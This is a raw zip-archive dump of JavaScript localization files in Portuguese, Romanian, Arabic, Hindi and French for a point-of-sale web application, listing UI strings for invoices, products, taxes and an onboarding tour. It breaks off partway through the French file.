'please_enter' : 'Lütfen girin', 'or_more_characters' : 'veya daha fazla karakter', };PK Q�Z\ �Z� � pt.jsnu �[��� LANG = { 'required': 'Obrigatório', 'sure': 'Você tem certeza?', 'remove_product': 'Você tem certeza de remover o produto?', 'cancel_invoice': 'Você tem certeza de cancelar a fatura? ', 'no_products': 'Nenhum produto adicionado ', 'paid_amount_is_less_than_payable': 'Valor pago é menor que o valor a pagar. \nPor favor, pressione OK para enviar a venda. ', 'paid_amount_is_more_than_payable': 'Valor pago é mais do que o valor a pagar. \nPor favor, verifique. ', 'confirm_delete_role': 'Esta função será excluída. ', 'sku_already_exists': 'SKU já existe.', 'ref_no_already_exists': 'Número de referência já usado.', 'out_of_stock': 'Item esgotado', 'delete_invoice_confirm': 'Essa configuração será excluída. ', 'add_name_as_new_customer': 'Adicionar ":name" como novo cliente', 'today': 'Hoje', 'yesterday': 'Ontem', 'last_7_days': 'Ultimos 7 Dias', 'last_30_days': 'Ultimos 30 Dias', 'this_month': 'Este Mês', 'last_month': 'Mês Passado', 'this_financial_year': 'Exercício em curso', 'clear': 'Limpar', 'no_products_added': 'Nenhum produto adicionado, adicionar alguns produtos primeiro ', 'some_error_in_input_field': 'Entradas inválidas, verifique e tente novamente !!', 'confirm_delete_expense_category': 'Esta categoria, juntamente com todas as despesas desta categoria, será eliminada.', 'confirm_delete_expense': 'Esta despesa será excluída.', 'confirm_delete_payment': 'Este pagamento será excluído.', 'confirm_delete_user': 'Este usuário será excluído ', 'confirm_delete_contact': 'Este contato será excluído', 'confirm_delete_variation': 'Esta variação, juntamente com todos os valores, será excluída.', 'confirm_tax_group': 'Este grupo de impostos será excluída. ', 'confirm_delete_category': 'Esta categoria, juntamente com todas as subcategorias, será excluída.', 'confirm_delete_unit': 'Esta unidade será excluída. ', 'confirm_delete_tax_rate': 'Esta taxa de imposto será excluída.', 'confirm_delete_brand': 'Essa marca será excluída. ', 'confirm_delete_barcode': 'Esta configuração de código de barras será excluída. ', 'add_name_as_new_product': 'Adicionar ": termo" como novo produto ', 'no_products_found': 'Nenhum produto correspondente foi encontrado! ', 'cancel': 'Cancelar', 'ok': 'OK', 'view_stock_details': 'Ver estoque para cada variação ', 'tour_step1_title': 'Tour da Aplicação ', 'tour_step1_content':"Vamos passar pelo aplicativo em 7 passos rápidos ..." , 'tour_step2_title': 'Passo 1: Detalhes da Loja ', 'tour_step2_content':'Aqui você pode encontrar informações relacionadas à sua loja, informações básicas, SKU do produto, descontos, impostos e outras configurações.', 'tour_step3_title': 'Passo 2: Adicionando Recursos ', 'tour_step4_title': 'Passo 3: Fornecedores e Clientes ', 'tour_step4_content': 'Todos os fornecedores e clientes para a sua loja. ', 'tour_step5_title': 'Step4: Gerenciar Produtos ', 'tour_step6_title': 'Passo 5: Gerenciar Compras ', 'tour_step6_content': 'Gerenciar compras e pagamento para compras. ', 'tour_step7_title': 'Passo 6: Gerenciar vendas', 'tour_step7_content': 'Vender -> POS, Use esta tela ao vender produtos ou faturamento ao cliente. Selecione Local, Adicionar produtos e Finalize. ', 'tour_step8_title': 'Passo 7: Relatórios', 'tour_step8_content': 'Veja relatórios analíticos para sua loja. Esses relatórios ajudam você a obter informações gerais sobre o desempenho de sua empresa. ', 'label_no_product_error': 'Por favor, adicione pelo menos um produto. ', 'confirm_delete_customer_group': 'Este grupo de clientes será excluído. ', 'prev': 'Anterior', 'next': 'Próximo', 'end_tour': 'Tour final', 'inc_tax': 'Inc. Tax', 'exc_tax': 'Exc. Tax', 'file_browse_label': 'Procurar..', 'remove': 'Remover', 'apply': 'Aplicar', 'custom_range': 'Faixa Personalizada', 'action': 'Açao', 'copy': 'Copiar', 'export_to_csv': 'Exportar para CSV ', 'export_to_excel': 'Exportar para Excel', 'export_to_pdf': 'Exportar para PDF ', 'print': 'Imprimir', 'col_vis': 'Visibilidade da coluna', 'search': 'Pesquisar', 'show': 'Mostrar', 'entries': 'entradas', 'table_emptyTable':'Sem dados disponíveis na tabela', 'table_info':'Showing _START_ to _END_ of _TOTAL_ entries', 'table_infoEmpty':'Mostrando 0 a 0 de 0 entradas', 'table_loadingRecords':'Carregando...', "table_processing": "Em processamento...", "table_zeroRecords": "Nenhum registro correspondente foi encontrado ", "first": "Primeiro", "last": "Ultimo", "previous": "Anterior", 'contact_id_already_exists': 'ID do contato já existe', 'register': 'Registrar', 'specify_business_name': "Por favor especifique o nome da sua empresa", 'password_min_length': 'Senha deve ter no mínimo 4 caracteres', 'password_mismatch': 'Senha Incompatível ', 'invalid_username': 'Nome de usuário ou usuário inválido já existe', 'details': 'Detalhes', 'select_location': 'Você deve selecionar o local antes de selecionar qualquer produto. ', 'location_id_already_exists': 'O código de localização já existe', 'add_name_as_new_supplier': 'Adicione ":name" como novo fornecedor', 'all': 'Todos', 'filter_by_date': 'Filtrar por data', 'form_will_get_reset': 'Todos os produtos adicionados serão removidos.', 'tour_step3_content_modified': 'Adicione vários locais, taxas de imposto, configurações de fatura para sua loja.', 'tour_step5_content_modified': 'Adicionar produtos - Produtos simples ou variáveis <br> Criar variações para produtos variáveis <br> Criar unidades, marcas e categorias <br> Imprimir etiquetas', 'pos_max_qty_error': 'So :max_val :unit_name disponível', 'lot_max_qty_error': 'So :max_val :unit_name disponível no lote selecionado', 'email_taken': 'Este e-mail já foi tomada', 'loading': 'Carregando', 'load_more': 'Carregue mais', 'mobile': 'Mobile', "something_went_wrong": "Algo deu errado", "max_rp_reached_error": "Máximo :max_points :rp_name disponível", "min_order_total_error": "O total mínimo de pedidos deve ser :min_order para resgatar :rp_name", "this_year": "Este ano", "last_year": "Ano passado", "last_financial_year": "Último exercício financeiro", "this_month_last_year": "Este mês no ano passado", 'enter_pin_here': 'Digite o PIN aqui', 'authentication_failed': 'Autenticação falhou!', 'authentication_successfull': 'Autenticação bem-sucedida', 'please_enter' : 'Vui lòng nhập', 'or_more_characters' : 'hoặc nhiều hơn ký tự', };PK Q�Zhp\ػ � ro.jsnu �[��� LANG = { 'required': 'Necesar', 'sure': 'Esti sigur ?', 'remove_product': 'Sunteți sigur că veți elimina produsul?', 'cancel_invoice': 'Sunteți sigur că anulați factura?', 'no_products': 'Fără produse adăugate', 'paid_amount_is_less_than_payable': 'Suma plătită este mai mică decât suma plătibilă. \nApăsați OK pentru a trimite vânzarea.', 'paid_amount_is_more_than_payable': 'Suma plătită este mai mare decât suma plătibilă. \nVă rugăm să verificați.', 'confirm_delete_role': 'Acest rol va fi șters.', 'sku_already_exists': 'SKU există deja', 'ref_no_already_exists': 'Număr de referință deja folosit.', 'out_of_stock': 'Articol epuizat', 'delete_invoice_confirm': 'Această setare va fi ștearsă.', 'add_name_as_new_customer': 'Adăugați ":name", ca client nou', 'today': 'Azi', 'yesterday': 'Ieri', 'last_7_days': 'Ultimele 7 zile', 'last_30_days': 'Ultimele 30 de zile', 'this_month': 'Luna aceasta', 'last_month': 'Luna trecuta', 'this_financial_year': 'Anul financiar curent', 'clear': 'Clar', 'no_products_added': 'Niciun produs adăugat, mai întâi adăugați câteva produse', 'some_error_in_input_field': 'Intrari nevalide, verificați și încercați din nou!!', 'confirm_delete_expense_category': 'Această categorie împreună cu toate cheltuielile din această categorie vor fi șterse.', 'confirm_delete_expense': 'Această cheltuială va fi ștearsă.', 'confirm_delete_payment': 'Această plată va fi ștearsă.', 'confirm_delete_user': 'Acest utilizator va fi șters', 'confirm_delete_contact': 'Această persoană de contact va fi ștearsă', 'confirm_delete_variation': 'Această variație împreună cu toate valorile sale vor fi șterse.', 'confirm_tax_group': 'Acest grup fiscal va fi șters.', 'confirm_delete_category': 'Această categorie împreună cu toate subcategoriile de sub ea vor fi șterse.', 'confirm_delete_unit': 'Această unitate va fi ștearsă.', 'confirm_delete_tax_rate': 'Această cotă de impozitare va fi ștearsă.', 'confirm_delete_brand': 'Această marcă va fi ștearsă.', 'confirm_delete_barcode': 'Această setare de cod de bare va fi ștearsă.', 'add_name_as_new_product': 'Adăugați ":term", ca produs nou', 'no_products_found': 'Nu s-a găsit niciun produs potrivit!', 'cancel': 'Anulare', 'ok': 'BINE', 'view_stock_details': 'Vedeți stocul pentru fiecare variantă', 'tour_step1_title': 'Tur al aplicației', 'tour_step1_content': 'Să parcurgem aplicația în 7 pași rapizi...', 'tour_step2_title': 'Pasul 1: Detalii magazin', 'tour_step2_content': 'Aici puteți găsi informații legate de magazinul dvs., informații de bază, cod SKU produs, reduceri, taxe și alte setări.', 'tour_step3_title': 'Pasul 2: Adăugarea resurselor', 'tour_step4_title': 'Pasul 3: Furnizori și clienți', 'tour_step4_content': 'Toți furnizorii și clienții pentru magazinul dvs.', 'tour_step5_title': 'Pasul 4: Gestionați produsele', 'tour_step6_title': 'Pasul 5: Gestionați achizițiile', 'tour_step6_content': 'Gestionați achizițiile și plata pentru achiziții.', 'tour_step7_title': 'Pasul 6: Gestionați vânzările', 'tour_step7_content': 'Vânzare -> POS, utilizați acest ecran în timp ce vindeți produse sau facturați clientul. Selectați locația, adăugați produse și finalizați-o.', 'tour_step8_title': 'Pasul 7: Rapoarte', 'tour_step8_content': 'Vizualizați rapoartele analitice pentru magazinul dvs. Aceste rapoarte vă ajută să obțineți informații generale despre performanța afacerii dvs.', 'label_no_product_error': 'Vă rugăm să adăugați cel puțin un produs.', 'confirm_delete_customer_group': 'Acest grup de clienți va fi șters.', 'prev': 'Anterior', 'next': 'Următorul', 'end_tour': 'Încheierea turului', 'inc_tax': 'Inc. Impozit', 'exc_tax': 'Exc. Impozit', 'file_browse_label': 'Naviga..', 'remove': 'Elimina', 'apply': 'Aplica', 'custom_range': 'Interval personalizat', 'action': 'Acțiune', 'copy': 'Copie', 'export_to_csv': 'Export în CSV', 'export_to_excel': 'Exportați în Excel', 'export_to_pdf': 'Export în PDF', 'print': 'Imprimare', 'col_vis': 'Vizibilitatea coloanei', 'search': 'Căutare', 'show': 'Spectacol', 'entries': 'intrari', 'table_emptyTable': 'Nu există date disponibile în tabel', 'table_info': 'Se afișează de la _START_ la _END_ din _TOTAL_ intrări', 'table_infoEmpty': 'Se afișează de la 0 la 0 din 0 intrări', 'table_loadingRecords': 'Se încarcă...', 'table_processing': 'Prelucrare...', 'table_zeroRecords': 'Nu au fost găsite înregistrări care să se potrivească', 'first': 'Primul', 'last': 'Ultimul', 'previous': 'Anterior', 'contact_id_already_exists': 'ID de contact există deja', 'register': 'Inregistreaza-te', 'specify_business_name': 'Vă rugăm să specificați numele companiei dvs.', 'password_min_length': 'Parola trebuie să aibă minimum 4 caractere', 'password_mismatch': 'Parola nepotrivită', 'invalid_username': 'Nume de utilizator nevalid sau utilizatorul există deja', 'details': 'Detalii', 'select_location': 'Trebuie să selectați o locație înainte de a selecta orice produs.', 'location_id_already_exists': 'ID-ul locației există deja', 'add_name_as_new_supplier': 'Adăugați ":name", ca furnizor nou', 'all': 'Toate', 'filter_by_date': 'Filtrați după dată', 'form_will_get_reset': 'Toate produsele adăugate vor fi eliminate.', 'tour_step3_content_modified': 'Adăugați mai multe locații, cote de impozitare, setări de factură pentru magazinul dvs.', 'tour_step5_content_modified': 'Adăugați produse - Produse simple sau variabile <br> Creați variante pentru produse variabile <br> Creați unități, mărci și categorii <br> Imprimați etichete', 'pos_max_qty_error': 'Doar :max_val :unit_name disponibil', 'lot_max_qty_error': 'Numai :max_val :unit_name disponibil în lotul selectat', 'email_taken': 'Acest email a fost deja luat.', 'loading': 'Se încarcă', 'load_more': 'Incarca mai mult', 'mobile': 'Mobil', 'something_went_wrong': 'Ceva n-a mers bine', 'max_rp_reached_error': 'Maximum :max_points :rp_name disponibil', 'min_order_total_error': 'Totalul minim al comenzii ar trebui să fie :min_order pentru a valorifica :rp_name', 'this_year': 'Anul acesta', 'last_year': 'Anul trecut', 'last_financial_year': 'Ultimul exercițiu financiar', 'this_month_last_year': 'Luna aceasta anul trecut', 'edit': 'Editați | ×', 'delete': 'Șterge', 'view': 'Vedere', 'customer': 'Client', 'this_card_has_a_due_date': 'Acest card are o dată scadentă', 'this_card_has_a_end_date': 'Acest card are o dată de încheiere', 'this_card_has_a_description': 'Acest card are o descriere', 'this_card_has_comments': 'Acest card are comentarii', 'more': ' Mai mult', 'lead': 'Conduce', 'project': 'Proiect', 'overview': 'Prezentare generală', 'activities': 'Activități', 'task': 'Sarcină', 'time_logs': 'Jurnalele de timp', 'documents_and_notes': 'Documente și notă', 'invoices': 'Facturi', 'settings': 'Setări', 'advance_payment_cannot_be_more_than_once': 'Plata în avans nu poate fi selectată de mai multe ori', 'not_connected_to_a_network': 'Nu sunteți conectat la o rețea', 'enter_pin_here': 'Introduceți PIN-ul aici', 'authentication_failed': 'Autentificare eșuată!', 'authentication_successfull': 'Autentificare reușită', 'please_enter' : 'Vă rugăm să introduceți', 'or_more_characters' : 'sau mai multe caractere', };PK Q�Z���t[" [" ar.jsnu �[��� LANG = { 'required': 'إلزامي', 'sure': 'هل أنت متأكد ؟', 'remove_product': 'هل أنت متأكد من إزالة المنتج؟', 'cancel_invoice': 'هل أنت متأكد من إلغاء الفاتورة؟', 'no_products': 'لا توجد منتجات مضافة', 'paid_amount_is_less_than_payable': 'المبلغ المدفوع أقل من المبلغ المستحق. \n الرجاء الضغط على موافق لإرسال عملية البيع.', 'paid_amount_is_more_than_payable': 'المبلغ المدفوع أكثر من المبلغ المستحق. \n يرجى التحقق.', 'confirm_delete_role': 'سيتم حذف هذا الدور.', 'sku_already_exists': 'الكود SKU موجود بالفعل.', 'ref_no_already_exists': 'الرقم المرجعي مستخدم بالفعل.', 'out_of_stock': 'المنتج غير متوفر', 'delete_invoice_confirm': 'سيتم حذف هذا الإعداد.', 'add_name_as_new_customer': 'أضف "name:" كعميل جديد', 'today': 'اليوم', 'yesterday': 'الأمس', 'last_7_days': 'اخر 7 ايام', 'last_30_days': 'آخر 30 يومًا', 'this_month': 'هذا الشهر', 'last_month': 'الشهر الماضي', 'this_financial_year': 'السنة المالية الحالية', 'clear': 'إزالة', 'no_products_added': 'لا توجد منتجات مضافة ، أضف بعض المنتجات أولاً', 'some_error_in_input_field': 'مدخلات غير صالحة ، تحقق وحاول مرة أخرى!!', 'confirm_delete_expense_category': 'سيتم حذف هذه الصنف مع جميع المصاريف جنبا إلى جنب تحت هذا الصنف.', 'confirm_delete_expense': 'سيتم حذف هذه المصروف.', 'confirm_delete_payment': 'سوف يتم حذف هذا الدفع.', 'confirm_delete_user': 'سيتم حذف هذا المستخدم', 'confirm_delete_contact': 'سيتم حذف هذا الاتصال', 'confirm_delete_variation': "سيتم حذف هذا التباين مع جميع قيمه.", 'confirm_tax_group': 'سيتم حذف مجموعة الضرائب هذه.', 'confirm_delete_category': 'سيتم حذف هذه الصنف مع جميع الأصناف الفرعية تحتها.', 'confirm_delete_unit': 'سيتم حذف هذه الوحدة.', 'confirm_delete_tax_rate': 'سيتم حذف معدل الضريبة هذا.', 'confirm_delete_brand': 'سيتم حذف هذه العلامة التجارية.', 'confirm_delete_barcode': 'سيتم حذف إعداد الباركود هذا.', 'add_name_as_new_product': 'أضف "term:" كمنتج جديد', 'no_products_found': 'لم يتم العثور على منتج مطابق!', 'cancel': 'إلغاء', 'ok': 'موافق', 'view_stock_details': 'عرض المخزون لكل تباين', 'tour_step1_title': 'جولة حول التطبيق', 'tour_step1_content': "دعنا نذهب من خلال التطبيق في 7 خطوات سريعة ..." , 'tour_step2_title': 'الخطوة 1: تفاصيل المتجر', 'tour_step2_content':'هنا يمكنك العثور على معلومات متعلقة بمتجرك ، ومعلومات أساسية ، و SKU المنتج ، والخصومات ، والضرائب والإعدادات الأخرى.', 'tour_step3_title': 'الخطوة 2: إضافة الموارد', 'tour_step3_content': 'أضف العلامات التجارية ، ومعدلات الضرائب ، والوحدات ، والأصناف الخاصة بمتجرك.', 'tour_step4_title': 'الخطوة 3: الموردين و الزبائن(العملاء)', 'tour_step4_content': 'جميع الموردين والزبائن لمتجرك.', 'tour_step5_title': 'الخطوة 4: إدارة المنتجات', 'tour_step5_content': 'إضافة منتجات - منتجات بسيطة أو متباينة ، قم بإنشاء نماذج للمنتجات المتباينة ، وتسميات الطباعة.', 'tour_step6_title': 'الخطوة 5: إدارة المشتريات', 'tour_step6_content': 'إدارة المشتريات والدفع لعمليات الشراء.', 'tour_step7_title': 'الخطوة 6: إدارة المبيعات', 'tour_step7_content': 'بيع -> نقطة البيع ، استخدم هذه الشاشة أثناء بيع المنتجات أو فواتير العملاء. حدد الموقع ، إضافة المنتجات وإنهاء البيع.', 'tour_step8_title': 'الخطوة 7: التقارير', 'tour_step8_content':'عرض التقارير التحليلية لمتجرك. تساعدك هذه التقارير في الحصول على معلومات عامة حول أداء نشاطك التجاري.', 'label_no_product_error': 'من فضلك ، قم بإضافة منتج واحد على الأقل.', 'confirm_delete_customer_group': 'سيتم حذف مجموعة العملاء(الزبائن) هذه.', 'prev': 'السابق', 'next': 'التالى', 'end_tour': 'نهاية الجولة', 'inc_tax': 'تشمل الضريبة', 'exc_tax': 'استبعاد الضريبة', 'file_browse_label': 'تصفح..', 'remove': 'إزالة', 'apply': 'طبق', 'custom_range': 'نطاق مخصص', 'action': 'عمل', 'copy': 'نسخ', 'export_to_csv': 'تصدير إلى CSV', 'export_to_excel': 'تصدير إلى Excel', 'export_to_pdf': 'تصدير إلى PDF', 'print': 'طباعة', 'col_vis': 'رؤية العمود', 'search': 'بحث', 'show': 'عرض', 'entries': 'إدخالات', 'table_emptyTable':'لا توجد بيانات متاحة في الجدول', 'table_info':'عرض _START_ إلى _END_ من _TOTAL_ إدخالات', 'table_infoEmpty':'عرض 0 إلى 0 من 0 إدخالات', 'table_loadingRecords':'جار التحميل...', "table_processing": "معالجة...", "table_zeroRecords": "لم يتم العثور على سجلات متطابقة", "first": "الأول", "last": "الاخير", "previous": "السابق", 'contact_id_already_exists': 'معرف الاتصال موجود بالفعل', 'register': 'تسجيل', 'specify_business_name': "يرجى تحديد اسم عملك", 'password_min_length': 'كلمة المرور يجب أن تكون 4 أحرف على الأقل', 'password_mismatch': 'كلمة المرور غير متطابقة', 'invalid_username': 'اسم المستخدم غير صالح أو المستخدم موجود بالفعل', 'details': 'تفاصيل', 'select_location': 'يجب عليك تحديد الموقع قبل اختيار أي منتجات.', 'location_id_already_exists': 'معرف الموقع موجود بالفعل', 'add_name_as_new_supplier': 'أضف ":name" كمزود جديد', 'all': 'الكل', 'filter_by_date': 'تصفية حسب التاريخ', 'form_will_get_reset': 'ستتم إزالة جميع المنتجات المضافة.', 'tour_step3_content_modified': 'إضافة مواقع متعددة ، ومعدلات الضرائب ، وإعدادات الفاتورة لمتجرك', 'tour_step5_content_modified': 'إضافة منتجات - منتجات بسيطة أو متغيرة <br> إنشاء أشكال مختلفة للمنتجات المتغيرة <br> إنشاء وحدات وعلامات تجارية و فئات <br> تسميات الطباعة"،', "pos_max_qty_error": "فقط :max_val :unit_name متاح", "lot_max_qty_error": "فقط :max_val :unit_name متوفر في الكمية المحددة", "email_taken": "وقد تم بالفعل اتخاذ هذا البريد الإلكتروني.", "loading": "جار التحميل", "load_more": "تحميل المزيد", "mobile": "التليفون المحمول", "something_went_wrong": "هناك خطأ ما", "max_rp_reached_error": "الحد الأقصى :max_points :rp_name متاح", "min_order_total_error": "يجب أن يكون إجمالي الطلب الأدنى :min_order to redeem :rp_name", "this_year": "هذه السنة", "last_year": "العام الماضي", "last_financial_year": "السنة المالية الماضية", "this_month_last_year": "هذا الشهر من العام الماضي", 'enter_pin_here': 'أدخل الرقم السري هنا', 'authentication_failed': 'فشل التوثيق!', 'authentication_successfull': 'نجاح التوثيق', 'please_enter' : 'الرجاء إدخال', 'or_more_characters' : 'أو أكثر من الأحرف', };PK Q�Z�P�* �* hi.jsnu �[��� LANG = { "required": "आवश्यक", "sure": "क्या आपको यकीन है ?", "remove_product": "क्या आप उत्पाद को हटाना चाहते हैं?", "cancel_invoice": "क्या आप चालान को रद्द करना चाहते हैं?", "no_products": "कोई भी उत्पाद नहीं जोड़ा", "paid_amount_is_less_than_payable": "भुगतान की राशि देय राशि से कम है। \n बिक्री सबमिट करने के लिए ठीक दबाएं।", "paid_amount_is_more_than_payable": "भुगतान राशि देय राशि से अधिक है। \ n कृपया जांचें।", "confirm_delete_role": "यह भूमिका हटा दी जाएगी।", "sku_already_exists": "SKU पहले से मौजूद है।", "ref_no_already_exists": "संदर्भ संख्या पहले ही उपयोग में है।", "out_of_stock": "आइटम स्टॉक से बाहर", "delete_invoice_confirm": "यह सेटिंग हटा दी जाएगी।", "add_name_as_new_customer": ":name जोड़ें नए ग्राहक के रूप में", "today": "आज", "yesterday": "बिता कल", "last_7_days": "आखिरी 7 दिन", "last_30_days": "पिछले 30 दिनों में", "this_month": "इस महीने", "last_month": "पिछले महीने", "this_financial_year": "चालू वित्तीय वर्ष", "clear": "स्पष्ट", "no_products_added": "कोई उत्पाद नहीं जोड़ा गया, कुछ उत्पाद पहले जोड़ें", "some_error_in_input_field": "अमान्य इनपुट, जांचें और पुन: प्रयास करें !!", "confirm_delete_expense_category": "इस श्रेणी के तहत सभी खर्चों के साथ इस श्रेणी को हटा दिया जाएगा।", "confirm_delete_expense": "यह व्यय हटा दिया जाएगा।", "confirm_delete_payment": "यह भुगतान हटा दिया जाएगा।", "confirm_delete_user": "यह उपयोगकर्ता हटा दिया जाएगा", "confirm_delete_contact": "यह संपर्क हटा दिया जाएगा", "confirm_delete_variation": "सभी के साथ यह भिन्नता इसके मूल्यों को हटा दिया जाएगा।", "confirm_tax_group": "यह कर समूह हटा दिया जाएगा।", "confirm_delete_category": "इसके अंतर्गत सभी उप-श्रेणियों के साथ यह श्रेणी हटा दी जाएगी।", "confirm_delete_unit": "यह इकाई हटा दी जाएगी।", "confirm_delete_tax_rate": "यह कर दर हटा दी जाएगी।", "confirm_delete_brand": "यह ब्रांड हटा दिया जाएगा।", "confirm_delete_barcode": "यह बारकोड सेटिंग हटा दी जाएगी।", "add_name_as_new_product": ":term जोड़ें शब्द नए उत्पाद के रूप में", "no_products_found": "कोई मिलते-जुलते उत्पाद नहीं मिला!", "cancel": "रद्द करना", "ok": "ठीक", "view_stock_details": "प्रत्येक भिन्नता के लिए स्टॉक देखें", "tour_step1_title": "एप्लिकेशन टूर", "tour_step1_content": "आइए, 7 त्वरित चरणों में आवेदन करें ...", "tour_step2_title": "चरण 1: शॉप विवरण", "tour_step2_content": "यहां आप अपनी दुकान से संबंधित जानकारी, मूल जानकारी, उत्पाद SKU, छूट, कर और अन्य सेटिंग्स पा सकते हैं।", "tour_step3_title": "चरण 2: संसाधन जोड़ना", "tour_step4_title": "चरण 3: आपूर्तिकर्ता और ग्राहक", "tour_step4_content": "आपकी दुकान के लिए सभी आपूर्तिकर्ता और ग्राहक।", "tour_step5_title": "चरण 4: उत्पाद प्रबंधित करें", "tour_step6_title": "चरण 5: खरीदी प्रबंधित करें", "tour_step6_content": "खरीदारियों के लिए खरीदारी और भुगतान प्रबंधित करें", "tour_step7_title": "चरण 6: बिक्री प्रबंधित करें", "tour_step7_content": "बेचें -> पीओएस, उत्पाद या बिलिंग ग्राहक बेचते समय इस स्क्रीन का उपयोग करें। स्थान चुनें, उत्पाद जोड़ें और इसे अंतिम रूप दें।", "tour_step8_title": "चरण 7: रिपोर्ट", "tour_step8_content": "अपनी दुकान की विश्लेषणात्मक रिपोर्ट देखें। ये रिपोर्ट आपके व्यवसाय के प्रदर्शन के बारे में पूरी जानकारी प्राप्त करने में आपकी मदद करती हैं।", "label_no_product_error": "कृपया, कम से कम एक उत्पाद जोड़ें।", "confirm_delete_customer_group": "यह ग्राहक समूह हटा दिया जाएगा।", "prev": "पिछला", "next": "आगामी", "end_tour": "एंड टूर", "inc_tax": "कर सहित", "exc_tax": "टैक्स छोड़कर", "file_browse_label": "ब्राउज़ ..", "remove": "हटाना", "apply": "लागू करें", "custom_range": "कस्टम रेंज", "action": "कार्रवाई", "copy": "कॉपी", "export_to_csv": "सीएसवी को निर्यात", "export_to_excel": "एक्सेल में भेजे", "export_to_pdf": "पीडीएफ को निर्यात", "print": "प्रिंट", "col_vis": "कॉलम दृश्यता", "search": "खोज", "show": "प्रदर्शन", "entries": "प्रविष्टियां", "table_emptyTable": "तालिका में आंकड़े उपलब्ध नहीं है", "table_info": "_TOTAL_ प्रविष्टियों के _START_ से _END_ दिखा रहा है", "table_infoEmpty": "0 से 0 से 0 प्रविष्टियां दिखा रहा है", "table_loadingRecords": "लोड हो रहा है...", "table_processing": "प्रसंस्करण ...", "table_zeroRecords": "कोई मिलान रिकॉर्ड नहीं मिला", "first": "प्रथम", "last": "पिछले", "previous": "पिछला", "contact_id_already_exists": "संपर्क आईडी पहले से मौजूद है", "register": "पंजीकृत करें", "specify_business_name": "कृपया अपना व्यवसाय नाम निर्दिष्ट करें", "password_min_length": "पासवर्ड न्यूनतम 4 वर्ण होना चाहिए", "password_mismatch": "पासवर्ड का मेल नहीं हुआ", "invalid_username": "अमान्य उपयोगकर्ता नाम या उपयोगकर्ता पहले से मौजूद है", 'details': 'विवरण', 'select_location': 'किसी भी उत्पाद का चयन करने से पहले आपको स्थान का चयन करना होगा।', 'location_id_already_exists': 'स्थान आईडी पहले से मौजूद है', 'add_name_as_new_supplier': 'नए आपूर्तिकर्ता के रूप में ":name" जोड़ें', 'all': 'सब', 'filter_by_date': 'तिथि से फ़िल्टर करें', 'form_will_get_reset': 'सभी जोड़े गए उत्पादों को हटा दिया जाएगा।', 'tour_step3_content_modified': 'अपनी दुकान के लिए एकाधिक स्थान, कर दरें, चालान सेटिंग्स जोड़ें।', 'tour_step5_content_modified': 'उत्पाद जोड़ें - सरल या परिवर्तनीय उत्पाद <br> परिवर्तनीय उत्पादों के लिए विविधताएं बनाएं <br> इकाइयों, ब्रांडों और श्रेणियां बनाएं <br> प्रिंट लेबल', "pos_max_qty_error": "केवल :max_val :unit_name उपलब्ध", "lot_max_qty_error": "चयनित लॉट में केवल :max_val :unit_name उपलब्ध है", "email_taken": "यह ईमेल पहले ही लिया जा चुका है।", "loading": "लोड हो रहा है", "load_more": "और लोड करें", "mobile": "मोबाइल", "something_went_wrong": "कुछ गलत हो गया", "max_rp_reached_error": "अधिकतम :max_points :rp_name उपलब्ध", "min_order_total_error": "न्यूनतम आदेश कुल होना चाहिए :min_order को रिडीम करने के लिए :rp_name", "this_year": "इस साल", "last_year": "पिछले साल", "last_financial_year": "अंतिम वित्तीय वर्ष", "this_month_last_year": "इस महीने पिछले साल", 'enter_pin_here': 'यहाँ पिन दर्ज करें', 'authentication_failed': 'प्रमाणीकरण असफल हुआ!', 'authentication_successfull': 'प्रमाणीकरण सफल हुआ', 'please_enter' : 'कृपया दर्ज करें', 'or_more_characters' : 'या अधिक अक्षर', };PK Q�Zg�� fr.jsnu �[��� LANG = { "required": "Champs obligatoires", "sure": "Êtes-vous sûr ?", "remove_product": "Etes-vous sûr de retirer le produit?", "cancel_invoice": "Êtes-vous sûr d'annuler la facture?", "no_products": "Aucun produit ajouté", "paid_amount_is_less_than_payable": "Le montant payé est inférieur au montant payable. \n Veuillez cliquer sur OK pour soumettre la vente.", "paid_amount_is_more_than_payable": "Le montant payé est plus que le montant payable. \ nVeuillez vérifier.", "confirm_delete_role": "Ce rôle sera supprimé.", "sku_already_exists": "SKU existe déjà.", "ref_no_already_exists": "Numéro de référence déjà utilisé.", "out_of_stock": "Article en rupture de stock", "delete_invoice_confirm": "Ce paramètre sera supprimé.", "add_name_as_new_customer": "Ajouter :name comme nouveau client", "today": "Aujourd'hui", "yesterday": "Hier", "last_7_days": "Les 7 derniers jours", "last_30_days": "Les 30 derniers jours", "this_month": "Ce mois-ci", "last_month": "Le mois dernier", "this_financial_year": "Année financière en cours", "clear": "Clair", "no_products_added": "Aucun produit ajouté, ajoutez d'abord quelques produits", "some_error_in_input_field": "Invalid inputs, Check & try again !!", "confirm_delete_expense_category": "Cette catégorie ainsi que toutes les dépenses dans cette catégorie seront supprimées.", "confirm_delete_expense": "Cette dépense sera supprimée.", "confirm_delete_payment": "Ce paiement sera supprimé.", "confirm_delete_user": "Cet utilisateur va être supprimé", "confirm_delete_contact": "Ce contact sera supprimé", "confirm_delete_variation": "Cette variation avec toutes ses valeurs sera supprimée.", "confirm_tax_group": "Ce groupe fiscal sera supprimé.", "confirm_delete_category": "Cette catégorie ainsi que toutes les sous-catégories seront supprimées.", "confirm_delete_unit": "Cette unité sera supprimée.", "confirm_delete_tax_rate": "Ce taux d'imposition sera supprimé.", "confirm_delete_brand": "Cette marque sera supprimée.", "confirm_delete_barcode": "Ce réglage du code-barres sera supprimé.", "add_name_as_new_product": "Ajouter :term comme nouveau produit", "no_products_found": "Aucun produit correspondant trouvé!", "cancel": "Annuler", "ok": "D'ACCORD", "view_stock_details": "Voir le stock pour chaque variation", "tour_step1_title": "Application Tour", "tour_step1_content": "Passons en revue l'application en 7 étapes rapides ...", "tour_step2_title": "Etape 1: Détails de la boutique", "tour_step2_content": "Vous trouverez ici les informations relatives à votre boutique, les informations de base, les références de produits, les remises, les taxes et autres paramètres.", "tour_step3_title": "Etape 2: Ajout de ressources", "tour_step4_title": "Etape 3: Fournisseurs & Clients", "tour_step4_content": "Tous les fournisseurs et clients pour votre boutique.", "tour_step5_title": "Etape 4: Gérer les produits", "tour_step6_title": "Etape 5: Gérer les achats", "tour_step6_content": "Gérer les achats et les paiements pour les achats.", "tour_step7_title": "Step6: Gérer les ventes", "tour_step7_content": "Vendre -> POS, Utiliser cet écran lors de la vente de produits ou de la facturation du client Sélectionner l'emplacement, ajouter des produits et finaliser", "tour_step8_title": "Étape 7: Rapports", "tour_step8_content": "Afficher les rapports d'analyse pour votre boutique Ces rapports vous aident à obtenir des informations globales sur les performances de votre entreprise.", "label_no_product_error": "S'il vous plaît, ajoutez au moins un 